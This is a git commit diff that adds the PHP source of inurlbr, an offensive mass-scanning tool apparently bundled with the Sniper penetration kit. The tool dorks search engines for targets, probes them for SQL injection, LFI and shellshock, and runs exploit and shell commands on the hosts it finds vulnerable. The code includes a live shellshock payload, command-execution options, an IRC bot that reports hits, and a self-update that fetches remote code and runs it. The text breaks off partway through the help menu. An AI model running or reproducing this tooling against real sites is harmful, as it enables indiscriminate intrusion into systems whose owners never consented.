commit 1e31520ad04ad8a7223951b8d53a18dc26c79a3c Author: 1N3 <1N3@hushmail.com> Date: Sun Sep 6 11:45:45 2015 -0400 Sniper v1.3 by 1N3 @ CrowdShield diff --git a/.fuse_hidden00013e8300000004 b/.fuse_hidden00013e8300000004 new file mode 100644 index 0000000..5f0601b Binary files /dev/null and b/.fuse_hidden00013e8300000004 differ diff --git a/.fuse_hidden00013ea800000006 b/.fuse_hidden00013ea800000006 new file mode 100644 index 0000000..4fb48fe Binary files /dev/null and b/.fuse_hidden00013ea800000006 differ diff --git a/bin/dnsdict6 b/bin/dnsdict6 new file mode 100644 index 0000000..b703334 Binary files /dev/null and b/bin/dnsdict6 differ diff --git a/bin/inurlbr.php b/bin/inurlbr.php new file mode 100644 index 0000000..6014906 --- /dev/null +++ b/bin/inurlbr.php @@ -0,0 +1,3861 @@ +#!/usr/bin/php -q + SQLI, LFI, LFD. + - Filter and validation based regular expression. + - Extraction of email and url. + - Validation using http-code. + - Search pages based on strings file. + - Exploits commands manager. + - Paging limiter on search engines. + - Beep sound when trigger vulnerability note. + - Use text file as a data source for urls tests. + - Find personalized strings in return values of the tests. + - Validation vulnerability shellshock. + - File validation values wordpress wp-config.php. + - Execution sub validation processes. + - Validation syntax errors database and programmin. + - Data encryption as native parameter. + - Random google host. + - Scan port. + - Error Checking & values​​: + [*]JAVA INFINITYDB, [*]LOCAL FILE INCLUSION, [*]ZIMBRA MAIL, [*]ZEND FRAMEWORK, + [*]ERROR MARIADB, [*]ERROR MYSQL, [*]ERROR JBOSSWEB, [*]ERROR MICROSOFT, + [*]ERROR ODBC, [*]ERROR POSTGRESQL, [*]ERROR JAVA INFINITYDB, [*]ERROR PHP, + [*]CMS WORDPRESS, [*]SHELL WEB, [*]ERROR JDBC, [*]ERROR ASP, + [*]ERROR ORACLE, [*]ERROR DB2, [*]JDBC CFM, [*]ERROS LUA, + [*]ERROR INDEFINITE + + [+] Dependencies - (PHP 5.4.*): + sudo apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl + + + [+] Play LIST TUTORIAL: + https://www.youtube.com/watch?v=jwjZUsgf9xM&list=PLV1376pVwcCmcoCmq_Z4O0ra4BqjmhIaR + + + +--------------------------------------------------------------------------------------+ + | | | G R 3 3 T S | | | + +--------------------------------------------------------------------------------------+ + * r00t-3xp10t, Jh00n, chk_, Unknownantisec, sl4y3r 0wn3r, hc0d3r, arplhmd, 0x4h4x + * Clandestine, KoubackTr, SnakeTomahawk, SkyRedFild, Lorenzo Faletra, Eclipse, shaxer + * dd3str0y3r, Johnny Deep, Lenon Leite, pSico_b0y, Bakunim_Malvadão, IceKiller, c00z + * Oystex, rH, Warflop, se4b3ar + + */ + +error_reporting(0); +set_time_limit(0); +ini_set('memory_limit', '256M'); +ini_set('display_errors', 0); +ini_set('max_execution_time', 0); +ini_set('allow_url_fopen', 1); +(!isset($_SESSION) ? session_start() : NULL); +__OS(); + + +/* + [+]Capturing TERMINAL VALUES. + (PHP 4 >= 4.3.0, PHP 5)getopt - Gets options from the command line argument list + http://php.net/manual/pt_BR/function.getopt.php */ +$commandos_list = array( + 'dork:', 'dork-file:', 'exploit-cad:', 'range:', 'range-rand:', 'irc:', + 'exploit-all-id:', 'exploit-vul-id:', 'exploit-get:', 'exploit-post:', + 'regexp-filter:', 'exploit-command:', 'command-all:', 'command-vul:', + 'replace:', 'remove:', 'regexp:', 'sall:', 'sub-file:', 'sub-get::', 'sub-concat:', + 'user-agent:', 'url-reference:', 'delay:', 'sendmail:', 'time-out:', + 'http-header:', 'ifcode:', 'ifurl:', 'ifemail:', 'mp:', 'target:', + 'no-banner::', 'gc::', 'proxy:', 'proxy-file:', 'time-proxy:', 'pr::', + 'proxy-http-file:', 'update::', 'info::', 'help::', 'unique::', 'popup::', + 'ajuda::', 'install-dependence::', 'cms-check::', 'sub-post::', 'robots::', + 'alexa-rank::', 'beep::', 'exploit-list::', 'tor-random::', 'shellshock::', + 'dork-rand:', 'sub-cmd-all:', 'sub-cmd-vul:', 'port-cmd:', 'port-scan:', + 'port-write:', 'ifredirect:', 'persist:', 'file-cookie:', 'save-as:' +); + +$opcoes = getopt('u::a:d:o:p:s:q:t:m::h::', $commandos_list); + + +/* + [+]VERIFYING LIB php5-curl IS INSTALLED. + (PHP 4, PHP 5) function_exists — Return TRUE if the given function has been + defined. + http://php.net/manual/en/function.function-exists.php + + [+]Verification - CURL_EXEC + Execute the given cURL session. + This function should be called after initializing a cURL session and all the + options for the session are set. + http://php.net/manual/en/function.curl-exec.php */ +(!function_exists('curl_exec') ? __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]} INSTALLING THE LIBRARY php5-curl ex: php5-curl apt-get install{$_SESSION["c0"]}\n") : NULL ); + +/* + [+]VERIFYING use Input PHP CLI. + (PHP 4, PHP 5) defined — Checks whether a given named constant exists + http://php.net/manual/pt_BR/function.defined.php */ +(!defined('STDIN') ? __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]} Please run it through command-line!{$_SESSION["c0"]}\n") : NULL); + + +#[+]Resetting VALUES $ _SESSION ['config'] +$_SESSION['config'] = array(); +$_SESSION['config']['version_script'] = '2.1'; +$_SESSION['config']['totas_urls'] = NULL; +$_SESSION['config']["contUrl"] = 0; +$_SESSION['config']['cont_email'] = 0; +$_SESSION['config']['cont_url'] = 0; +$_SESSION['config']['cont_valores'] = 0; + +#[+] FILE MANAGEMENT EXPLOITS. +$_SESSION['config']['file_exploit_conf'] = 'exploits.conf'; + +#[+] FOLDER WHERE WILL BE SAVED PROCESSES. +$_SESSION['config']['out_put_paste'] = 'output/'; + +/* + [+]USER-AGENT EXPLOIT SHELLSHOCK + (CVE-2014-6271, CVE-2014-6277, + CVE-2014-6278, CVE-2014-7169, + CVE-2014-7186, CVE-2014-7187) + is a vulnerability in GNU's bash shell that gives attackers access to run remote + commands on a vulnerable system. */ +$_SESSION['config']['user_agent_xpl'] = "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo CMD:;id; echo END_CMD:;\""; + +#[+]BLACK LIST URL-STRINGS +$_SESSION['config']['blacklist'] = "//t.co,google.,youtube.,jsuol.com,.radio.uol.,b.uol.,barra.uol.,whowhere.,hotbot.,amesville.,lycos,lygo.,orkut.,schema.,blogger.,bing.,w3.,yahoo.,yimg.,creativecommons.org,ndj6p3asftxboa7j.,.torproject.org,.lygo.com,.apache.org,.hostname.,document.,"; +$_SESSION['config']['blacklist'].= "live.,microsoft.,ask.,shifen.com,answers.,analytics.,googleadservices.,sapo.pt,favicon.,blogspot.,wordpress.,.css,scripts.js,jquery-1.,dmoz.,gigablast.,aol.,.macromedia.com,.sitepoint.,yandex.,www.tor2web.org,.securityfocus.com,.Bootstrap.,.metasploit.com,"; +$_SESSION['config']['blacklist'].= "aolcdn.,altavista.,clusty.,teoma.,baiducontent.com,wisenut.,a9.,uolhost.,w3schools.,msn.,baidu.,hao123.,shifen.,procog.,facebook.,twitter.,flickr.,.adobe.com,oficinadanet.,elephantjmjqepsw.,.shodan.io,kbhpodhnfxl3clb4,.scanalert.com,.prototype.,feedback.core,"; +$_SESSION['config']['blacklist'].= "4shared.,.KeyCodeTab,.style.,www/cache/i1,.className.,=n.,a.Ke=,Y.config,.goodsearch.com,style.top,n.Img,n.canvas.,t.search,Y.Search.,a.href,a.currentStyle,a.style,yastatic.,.oth.net,.hotbot.com,.zhongsou.com,ezilon.com,.example.com,location.href,.navigation.,"; +$_SESSION['config']['blacklist'].= ".bingj.com,Y.Mobile.,srpcache?p,stackoverflow.,shifen.,baidu.,baiducontent.,gstatic.,php.net,wikipedia.,webcache.,inurl.,naver.,navercorp.,windows.,window.,.devmedia,imasters.,.inspcloud.com,.lycos.com,.scorecardresearch.com,.target.,JQuery.min,Element.location.,"; +$_SESSION['config']['blacklist'].= "exploit-db,packetstormsecurity.,1337day,owasp,.sun.com,mobile10.dtd,onabort=function,inurl.com.br,purl.org,.dartsearch.net,r.cb,.classList.,.pt_BR.,github,microsofttranslator.com,.compete.com,.sogou.com,gmail.,blackle.com,boorow.com,gravatar.com,sourceforge.,.mozilla.org"; + +$_SESSION['config']['line'] = "\n{$_SESSION["c1"]} _[ - ]{$_SESSION["c7"]}::{$_SESSION["c1"]}--------------------------------------------------------------------------------------------------------------{$_SESSION["c0"]}"; + +#[+]PRINTING HELP / INFO +(isset($opcoes['h']) || isset($opcoes['help']) || isset($opcoes['ajuda']) ? __menu() : NULL); +(isset($opcoes['info']) ? __info() : NULL); + +#[+]PRINTING EXPLOITS LIST. +(isset($opcoes['exploit-list']) ? print(__bannerLogo()) . __configExploitsList(1) : NULL); + +#[+]CREATING DEFAULT SETTINGS EXIT RESULTS. +(!is_dir($_SESSION['config']['out_put_paste']) ? mkdir($_SESSION['config']['out_put_paste'], 0777, TRUE) : NULL); + +#[+]CREATING DEFAULT SETTINGS MANAGEMENT EXPLOITS. +(!file_exists($_SESSION['config']['file_exploit_conf']) ? touch($_SESSION['config']['file_exploit_conf']) : NULL); + +#[+]Deletes FILE cookie STANDARD. +(file_exists('cookie.txt') ? unlink('cookie.txt') : NULL); + +#[+]REGISTRATION NEW COMMAND EXPLOIT +(not_isnull_empty($opcoes['exploit-cad']) ? __configExploitsADD($opcoes['exploit-cad']) : NULL); + +#[+]Dependencies installation +(isset($opcoes['install-dependence']) ? __installDepencia() : NULL); + +#[+]UPDATE SCRIPT +(isset($opcoes['update']) ? __update() : NULL); + +################################################################################ +#CAPTURE OPTIONS################################################################ +################################################################################ +#[+]VALIDATION SEARCH METHODS / (DORK,RANGE-IP) +if (not_isnull_empty($opcoes['o'])) { + + $_SESSION['config']['abrir-arquivo'] = $opcoes['o']; +} else if (!not_isnull_empty($opcoes['o']) && + !not_isnull_empty($opcoes['range']) && + !not_isnull_empty($opcoes['range-rand']) && + !not_isnull_empty($opcoes['dork-rand'])) { + + $_SESSION['config']['dork'] = not_isnull_empty($opcoes['dork']) && is_null($_SESSION['config']['abrir-arquivo']) ? $opcoes['dork'] : NULL; + $_SESSION['config']['dork-file'] = not_isnull_empty($opcoes['dork-file']) && is_null($_SESSION['config']['abrir-arquivo']) ? $opcoes['dork-file'] : NULL; + (!not_isnull_empty($_SESSION['config']['dork']) && !not_isnull_empty($_SESSION['config']['dork-file']) ? __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}DEFINE DORK ex: --dork '.asp?CategoryID=' OR --dork-file 'dorks.txt'{$_SESSION["c0"]}\n") : NULL); +} + +#[+]VALIDATION GENERATE DORKS RANDOM +$_SESSION['config']['dork-rand'] = not_isnull_empty($opcoes['dork-rand']) ? $opcoes['dork-rand'] : NULL; + +#[+]VALIDATION TARGET FIND PAGE +$_SESSION['config']['target'] = not_isnull_empty($opcoes['target']) && !isset($_SESSION['config']['dork']) ? $opcoes['target'] : NULL; + +#[+]VALIDATION URL EXTRACTION +$_SESSION['config']['extrai-url'] = isset($opcoes['u']) ? TRUE : NULL; + +#[+]VALIDATION EMAIL EXTRACTION +$_SESSION['config']['extrai-email'] = isset($opcoes['m']) ? TRUE : NULL; + +#[+]VALIDATION ID SEARCH ENGINE +$_SESSION['config']['motor'] = not_isnull_empty($opcoes['q']) && + __validateOptions('1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,e1,e2,e3,e4,e5,e6,all', $opcoes['q']) ? $opcoes['q'] : 1; + +#[+]VALIDATION SAVE FILE VULNERABLE +!not_isnull_empty($opcoes['s']) && !not_isnull_empty($opcoes['save-as']) && empty($opcoes['sall']) ? + __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}DEFINE FILE SAVE OUTPUT ex: -s , --save-as , --sall filevull.txt{$_SESSION["c0"]}\n") : NULL; + +$_SESSION['config']['s'] = not_isnull_empty($opcoes['s']) ? $opcoes['s'] : null; + +$_SESSION['config']['save-as'] = not_isnull_empty($opcoes['save-as']) ? $opcoes['save-as'] : null; + +$_SESSION['config']['arquivo_output'] = not_isnull_empty($_SESSION['config']['s']) ? $_SESSION['config']['s'] : $opcoes['save-as']; + +#[+]VALIDATION SAVE FILE ALL VALORES +$_SESSION['config']['arquivo_output_all'] = not_isnull_empty($opcoes['sall']) ? $opcoes['sall'] : NULL; + +#[+]VALIDATION TYPE ERROR +$_SESSION['config']['tipoerro'] = not_isnull_empty($opcoes['t']) && __validateOptions('1,2,3,4,5', $opcoes['t']) ? $opcoes['t'] : 1; + +#[+]VALIDATION REPLACEMENT VALUES +$_SESSION['config']['replace'] = not_isnull_empty($opcoes['replace']) ? $opcoes['replace'] : NULL; + +#[+]VALIDATION SET PROXY +$_SESSION['config']['proxy'] = not_isnull_empty($opcoes['proxy']) ? $opcoes['proxy'] : NULL; + +#[+]VALIDATION SET FILE WITH LIST OF PROXY +$_SESSION['config']['proxy-file'] = not_isnull_empty($opcoes['proxy-file']) ? $opcoes['proxy-file'] : NULL; + +#[+]VALIDATION SET HTTP->PROXY +$_SESSION['config']['proxy-http'] = not_isnull_empty($opcoes['proxy-http']) ? $opcoes['proxy-http'] : NULL; + +#[+]VALIDATION SET FILE WITH LIST OF HTTP->PROXY +$_SESSION['config']['proxy-http-file'] = not_isnull_empty($opcoes['proxy-http-file']) ? $opcoes['proxy-http-file'] : NULL; + +#[+]VALIDATION SET EXPLOIT VIA REQUEST GET +$_SESSION['config']['exploit-get'] = not_isnull_empty($opcoes['exploit-get']) ? str_replace(' ', '%20', $opcoes['exploit-get']) : NULL; + +#[+]VALIDATION SET EXPLOIT VIA REQUEST POST +$_SESSION['config']['exploit-post'] = not_isnull_empty($opcoes['exploit-post']) ? __convertUrlQuery($opcoes['exploit-post']) : NULL; +$_SESSION['config']['exploit-post_str'] = not_isnull_empty($opcoes['exploit-post']) ? $opcoes['exploit-post'] : NULL; + +#[+]VALIDATION COMMAND SHELL STRING COMPLEMENTARY +$_SESSION['config']['exploit-command'] = not_isnull_empty($opcoes['exploit-command']) ? $opcoes['exploit-command'] : NULL; + +#[+]VALIDATION MANAGEMENT COMMANDS SHELL TARGET VULN ID +$_SESSION['config']['exploit-vul-id'] = not_isnull_empty($opcoes['exploit-vul-id']) ? $opcoes['exploit-vul-id'] : NULL; + +#[+]VALIDATION MANAGEMENT COMMANDS SHELL ALL TARGET ID +$_SESSION['config']['exploit-all-id'] = not_isnull_empty($opcoes['exploit-all-id']) ? $opcoes['exploit-all-id'] : NULL; + +#[+]VALIDATION SET COMMANDS SHELL EXECUTE TARGET VULN +$_SESSION['config']['command-vul'] = not_isnull_empty($opcoes['command-vul']) ? $opcoes['command-vul'] : NULL; + +#[+]VALIDATION SET COMMANDS SHELL EXECUTE ALL TARGET +$_SESSION['config']['command-all'] = not_isnull_empty($opcoes['command-all']) ? $opcoes['command-all'] : NULL; + +#[+]VALIDATION ADDITIONAL TYPE OF PARAMETER ERROR +$_SESSION['config']['achar'] = not_isnull_empty($opcoes['a']) ? $opcoes['a'] : NULL; + +#[+]VALIDATION DEBUG NIVEL +$_SESSION['config']['debug'] = not_isnull_empty($opcoes['d']) && __validateOptions('1,2,3,4,5,6', $opcoes['d']) ? $opcoes['d'] : NULL; + +#[+]VALIDATION INTERNAL +$_SESSION['config']['verifica_info'] = (__validateOptions($opcoes['d'], 6)) ? 1 : NULL; + +#[+]VALIDATION ADDITIONAL PARAMETER PROXY +$_SESSION['config']['tor-random'] = isset($opcoes['tor-random']) && !is_null($_SESSION["config"]["proxy"]) ? TRUE : NULL; + +#[+]VALIDATION CHECK VALUES CMS +$_SESSION['config']['cms-check'] = isset($opcoes['cms-check']) ? TRUE : NULL; + +#[+]VALIDATION CHECK LINKS WEBCACHE GOOGLE +$_SESSION['config']['webcache'] = isset($opcoes['gc']) ? TRUE : NULL; + +#[+]VALIDATION REGULAR EXPRESSION +$_SESSION['config']['regexp'] = not_isnull_empty($opcoes['regexp']) ? $opcoes['regexp'] : NULL; + +#[+]VALIDATION FILTER BY REGULAR EXPRESSION +$_SESSION['config']['regexp-filter'] = not_isnull_empty($opcoes['regexp-filter']) ? $opcoes['regexp-filter'] : NULL; + +#[+]VALIDATION NO BANNER SCRIPT +$_SESSION['config']['no-banner'] = isset($opcoes['no-banner']) ? TRUE : NULL; + +#[+]VALIDATION SET USER-AGENT REQUEST +$_SESSION['config']['user-agent'] = not_isnull_empty($opcoes['user-agent']) ? $opcoes['user-agent'] : NULL; + +#[+]VALIDATION SET URL-REFERENCE REQUEST +$_SESSION['config']['url-reference'] = not_isnull_empty($opcoes['url-reference']) ? $opcoes['url-reference'] : NULL; + +#[+]VALIDATION PAGING THE MAXIMUM SEARCH ENGINE +$_SESSION['config']['max_pag'] = not_isnull_empty($opcoes['mp']) ? $opcoes['mp'] : NULL; + +#[+]VALIDATION DELAY SET PAGING AND PROCESSES +$_SESSION['config']['delay'] = not_isnull_empty($opcoes['delay']) ? $opcoes['delay'] : NULL; + +#[+]VALIDATION SET TIME OUT REQUEST +$_SESSION['config']['time-out'] = not_isnull_empty($opcoes['time-out']) ? $opcoes['time-out'] : NULL; + +#[+]VALIDATION CODE HTTP +$_SESSION['config']['ifcode'] = not_isnull_empty($opcoes['ifcode']) ? $opcoes['ifcode'] : NULL; + +#[+]VALIDATION STRING URL +$_SESSION['config']['ifurl'] = not_isnull_empty($opcoes['ifurl']) ? $opcoes['ifurl'] : NULL; + +#[+]VALIDATION SET HTTP HEADER +$_SESSION['config']['http-header'] = not_isnull_empty($opcoes['http-header']) ? $opcoes['http-header'] : NULL; + +#[+]VALIDATION SET FILE SUB_PROCESS +$_SESSION['config']['sub-file'] = not_isnull_empty($opcoes['sub-file']) ? __openFile($opcoes['sub-file'], 1) : NULL; + +#[+]VALIDATION SUB_PROCESS TYPE REQUEST POST +$_SESSION['config']['sub-post'] = isset($opcoes['sub-post']) ? TRUE : NULL; + +#[+]VALIDATION SUB_PROCESS TYPE REQUEST GET +$_SESSION['config']['sub-get'] = isset($opcoes['sub-get']) ? TRUE : NULL; + +#[+]VALIDATION SEND VULN EMAIL +$_SESSION['config']['sendmail'] = not_isnull_empty($opcoes['sendmail']) ? $opcoes['sendmail'] : NULL; + +#[+]VALIDATION SHOW RANK ALEXA +$_SESSION['config']['alexa-rank'] = isset($opcoes['alexa-rank']) ? TRUE : NULL; + +#[+]VALIDATION ACTIVATE BEEP WHEN APPEAR VULNERABLE +$_SESSION['config']['beep'] = isset($opcoes['beep']) ? TRUE : NULL; + +#[+]VALIDATION OF SINGLE DOMAIN FILTER +$_SESSION['config']['unique'] = isset($opcoes['unique']) ? TRUE : NULL; + +#[+]VALIDATION IRC SERVER/CHANNEL SEND VULN +$_SESSION['config']['irc']['conf'] = not_isnull_empty($opcoes['irc']) && strstr($opcoes['irc'], '#') ? explode("#", $opcoes['irc']) : NULL; + +#[+]VALIDATION RANGE IP +$_SESSION['config']['range'] = not_isnull_empty($opcoes['range']) && strstr($opcoes['range'], ',') ? $opcoes['range'] : NULL; + +#[+]VALIDATION QUANTITY RANGE IP RANDOM +$_SESSION['config']['range-rand'] = not_isnull_empty($opcoes['range-rand']) ? $opcoes['range-rand'] : NULL; + +#[+]VALIDATION REMOVE STRING URL +$_SESSION['config']['remove'] = not_isnull_empty($opcoes['remove']) ? $opcoes['remove'] : NULL; + +#[+]VALIDATION ACCESS FILE ROBOTS +$_SESSION['config']['robots'] = isset($opcoes['robots']) ? TRUE : NULL; + +#[+]VALIDATION FILTER EMAIL STRING +$_SESSION['config']['ifemail'] = not_isnull_empty($opcoes['ifemail']) ? $opcoes['ifemail'] : NULL; + +#[+]VALIDATION OPEN WINDOW CONSOLE PROCESS +$_SESSION['config']['popup'] = isset($opcoes['popup']) ? TRUE : NULL; + +#[+]VALIDATION ACTIVATE SHELLSHOCK +$_SESSION['config']['shellshock'] = isset($opcoes['shellshock']) ? TRUE : NULL; + +#[+]VALIDATION METHOD OF BUSTA PROGRESSIVE +$_SESSION['config']['pr'] = isset($opcoes['pr']) ? TRUE : NULL; + +#[+]VALIDATION SET SUB-COMMANDS SHELL EXECUTE ALL TARGET +$_SESSION['config']['sub-cmd-all'] = isset($opcoes['sub-cmd-all']) ? TRUE : NULL; + +#[+]VALIDATION SET SUB-COMMANDS SHELL EXECUTE TARGET VULN +$_SESSION['config']['sub-cmd-vul'] = isset($opcoes['sub-cmd-vul']) ? TRUE : NULL; + +#[+]VALIDATION SET POR VALIDATION +$_SESSION['config']['port-cmd'] = not_isnull_empty($opcoes['port-cmd']) ? $opcoes['port-cmd'] : NULL; + +#[+]VALIDATION SET SCAN PORT +$_SESSION['config']['port-scan'] = not_isnull_empty($opcoes['port-scan']) ? $opcoes['port-scan'] : NULL; + +#[+]VALIDATION SET PAYLOAD XPL PORT +$_SESSION['config']['port-write'] = not_isnull_empty($opcoes['port-write']) ? $opcoes['port-write'] : NULL; + +#[+]VALIDATION SET URL REDIRECT HEADER +$_SESSION['config']['ifredirect'] = not_isnull_empty($opcoes['ifredirect']) ? $opcoes['ifredirect'] : NULL; + +#[+]VALIDATION SET URL REDIRECT HEADER +$_SESSION['config']['persist'] = not_isnull_empty($opcoes['persist']) ? $opcoes['persist'] : 4; + +#[+]VALIDATION SET FILE COOKIE +$_SESSION['config']['file-cookie'] = not_isnull_empty($opcoes['file-cookie']) ? $opcoes['file-cookie'] : NULL; + +#[+]VALIDATION SET STRING CONCAT URL SUB-PROCESS +$_SESSION['config']['sub-concat'] = not_isnull_empty($opcoes['sub-concat']) ? $opcoes['sub-concat'] : NULL; + +################################################################################ +#IRC CONFIGURATION############################################################## +################################################################################ + +if (is_array($_SESSION['config']['irc']['conf'])) { + + $alph = range("A", "Z"); + $_ = array(0 => rand(0, 10000), 1 => $alph[rand(0, count($alph))]); + $_SESSION['config']['irc']['my_pid'] = 0; + $_SESSION['config']['irc']['irc_server'] = $_SESSION['config']['irc']['conf'][0]; + $_SESSION['config']['irc']['irc_channel'] = "#{$_SESSION['config']['irc']['conf'][1]}"; + $_SESSION['config']['irc']['irc_port'] = 6667; + $_SESSION['config']['irc']['localhost'] = "127.0.0.1 localhost"; + $_SESSION['config']['irc']['irc_nick'] = "[BOT]1nurl{$_[0]}[{$_[1]}]"; + $_SESSION['config']['irc']['irc_realname'] = "B0t_1NURLBR"; + $_SESSION['config']['irc']['irc_quiet'] = "Session Ended"; + global $conf; +} elseif (!is_array($_SESSION['config']['irc']['conf']) && not_isnull_empty($opcoes['irc'])) { + + __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}IRC WRONG FORMAT! ex: --irc 'irc.rizon.net#inurlbrasil' {$_SESSION["c0"]}\n"); +} + +################################################################################ +#IRC CONECTION################################################################## +################################################################################ + +function __ircConect($conf) { + + $fp = fsockopen($conf['irc_server'], $conf['irc_port'], $conf['errno'], $conf['errstr'], 30); + if (!$fp) { + + echo "Error: {$conf['errstr']}({$conf['errno']})\n"; + return NULL; + } + $u = php_uname(); + fwrite($fp, "NICK {$conf['irc_nick']}\r\n"); + fwrite($fp, "USER {$conf['irc_nick']} 8 * :{$conf['irc_realname']}\r\n"); + fwrite($fp, "JOIN {$conf['irc_channel']}\r\n"); + fwrite($fp, "PRIVMSG {$conf['irc_channel']} :[ SERVER ] {$u}\r\n"); + return $fp; +} + +################################################################################ +#IRC SEND MSG################################################################### +################################################################################ + +function __ircMsg($conf, $msg) { + + fwrite($conf['irc_connection'], "PRIVMSG ${conf['irc_channel']} :${msg}\r\n") . sleep(2); + __plus(); +} + +################################################################################ +#IRC PING PONG################################################################## +################################################################################ + +function __ircPong($conf) { + + while (!feof($conf['irc_connection'])) { + + $conf['READ_BUFFER'] = fgets($conf['irc_connection']); + __plus(); + if (preg_match("/^PING(.+)/", $conf['READ_BUFFER'], $conf['ret'])) { + + __debug(array('debug' => "[ PING-PONG ]{$conf['ret'][1]}", 'function' => '__ircPong'), 6) . __plus(); + fwrite($conf['READ_BUFFER'], "PONG {$conf['ret'][1]}\r\n"); + ($_SESSION['config']['debug'] == 6) ? + fwrite($conf['irc_connection'], "PRIVMSG ${conf['irc_channel']} :[ PING-PONG ]-> {$conf['ret'][1]}->function:__ircPong\r\n") : NULL; + } + } +} + +################################################################################ +#IRC QUIT####################################################################### +################################################################################ + +function __ircQuit($conf) { + + fwrite($conf['irc_connection'], "QUIT {$conf['irc_quiet']}\r\n") . sleep(2); + __plus(); + fclose($conf['irc_connection']); +} + +#END IRC######################################################################## +#UPDATE SCRIPT################################################################## +################################################################################ + +function __update() { + + echo __bannerLogo(); + + echo "{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}WANT TO MAKE UPDATE SCRIPT\n{$_SESSION["c0"]}"; + echo "{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}This can modify the current script\n{$_SESSION["c0"]}"; + echo "{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}ARE YOU SURE ? (y \ n): {$_SESSION["c0"]}"; + + if (trim(fgets(STDIN)) == 'y') { + + $resultado = __request_info("https://raw.githubusercontent.com/googleinurl/SCANNER-INURLBR/master/inurlbr.php", $_SESSION["config"]["proxy"], NULL); + + if (not_isnull_empty($resultado['corpo'])) { + + unlink('inurlbr.php'); + $varf = fopen('inurlbr.php', 'a'); + fwrite($varf, $resultado['corpo']); + fclose($varf); + chmod('inurlbr.php', 0777); + echo "\nUPDATE DONE WITH SUCCESS!\n"; + sleep(3); + system("chmod +x inurlbr.php | php inurlbr.php"); + exit(); + } else { + + echo system("command clear") . __bannerLogo(); + echo "{$_SESSION["c1"]}__[ x ] {$_SESSION["c16"]}FAILURE TO SERVER!\n{$_SESSION["c0"]}"; + } + } +} + +################################################################################ +#SECURITIES VALIDATION DOUBLE##################################################### +################################################################################ + +function not_isnull_empty($valor = NULL) { + + RETURN !is_null($valor) && !empty($valor) ? TRUE : FALSE; +} + +################################################################################ +#MENU########################################################################### +################################################################################ + +function __menu() { + + return system("command clear") . __getOut(__extra() . " + {$_SESSION["c1"]}_ _ ______ _ _____ +| | | | ____| | | __ \ +| |__| | |__ | | | |__) | +| __ | __| | | | ___/ +| | | | |____| |____| | +|_| |_|______|______|_| + +{$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current PHP version=>[ {$_SESSION["c1"]}" . phpversion() . "{$_SESSION["c0"]} ] +{$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current script owner=>[ {$_SESSION["c1"]}" . get_current_user() . "{$_SESSION["c0"]} ] +{$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current uname=>[ {$_SESSION["c1"]}" . php_uname() . "{$_SESSION["c0"]} ] +{$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current pwd =>[ {$_SESSION["c1"]}" . getcwd() . "{$_SESSION["c0"]} ] +" . $_SESSION['config']['line'] . " + +{$_SESSION["c1"]}-h{$_SESSION["c0"]} +{$_SESSION["c1"]}--help{$_SESSION["c0"]} Alternative long length help command. +{$_SESSION["c1"]}--ajuda{$_SESSION["c0"]} Command to specify Help. +{$_SESSION["c1"]}--info{$_SESSION["c0"]} Information script. +{$_SESSION["c1"]}--update{$_SESSION["c0"]} Code update. +{$_SESSION["c1"]}-q{$_SESSION["c0"]} Choose which search engine you want through [{$_SESSION["c2"]}1...24{$_SESSION["c0"]}] / [{$_SESSION["c2"]}e1..6{$_SESSION["c0"]}]]: + [options]: + {$_SESSION["c1"]}1{$_SESSION["c0"]} - {$_SESSION["c2"]}GOOGLE / (CSE) GENERIC RANDOM / API + {$_SESSION["c1"]}2{$_SESSION["c0"]} - {$_SESSION["c2"]}BING + {$_SESSION["c1"]}3{$_SESSION["c0"]} - {$_SESSION["c2"]}YAHOO BR + {$_SESSION["c1"]}4{$_SESSION["c0"]} - {$_SESSION["c2"]}ASK + {$_SESSION["c1"]}5{$_SESSION["c0"]} - {$_SESSION["c2"]}HAO123 BR + {$_SESSION["c1"]}6{$_SESSION["c0"]} - {$_SESSION["c2"]}GOOGLE (API) + {$_SESSION["c1"]}7{$_SESSION["c0"]} - {$_SESSION["c2"]}LYCOS + {$_SESSION["c1"]}8{$_SESSION["c0"]} - {$_SESSION["c2"]}UOL BR + {$_SESSION["c1"]}9{$_SESSION["c0"]} - {$_SESSION["c2"]}YAHOO US + {$_SESSION["c1"]}10{$_SESSION["c0"]} - {$_SESSION["c2"]}SAPO + {$_SESSION["c1"]}11{$_SESSION["c0"]} - {$_SESSION["c2"]}DMOZ + {$_SESSION["c1"]}12{$_SESSION["c0"]} - {$_SESSION["c2"]}GIGABLAST + {$_SESSION["c1"]}13{$_SESSION["c0"]} - {$_SESSION["c2"]}NEVER + {$_SESSION["c1"]}14{$_SESSION["c0"]} - {$_SESSION["c2"]}BAIDU BR + {$_SESSION["c1"]}15{$_SESSION["c0"]} - {$_SESSION["c2"]}YANDEX + {$_SESSION["c1"]}16{$_SESSION["c0"]} - {$_SESSION["c2"]}ZOO + {$_SESSION["c1"]}17{$_SESSION["c0"]} - {$_SESSION["c2"]}HOTBOT + {$_SESSION["c1"]}18{$_SESSION["c0"]} - {$_SESSION["c2"]}ZHONGSOU + {$_SESSION["c1"]}19{$_SESSION["c0"]} - {$_SESSION["c2"]}HKSEARCH + {$_SESSION["c1"]}20{$_SESSION["c0"]} - {$_SESSION["c2"]}EZILION + {$_SESSION["c1"]}21{$_SESSION["c0"]} - {$_SESSION["c2"]}SOGOU + {$_SESSION["c1"]}22{$_SESSION["c0"]} - {$_SESSION["c2"]}DUCK DUCK GO + {$_SESSION["c1"]}23{$_SESSION["c0"]} - 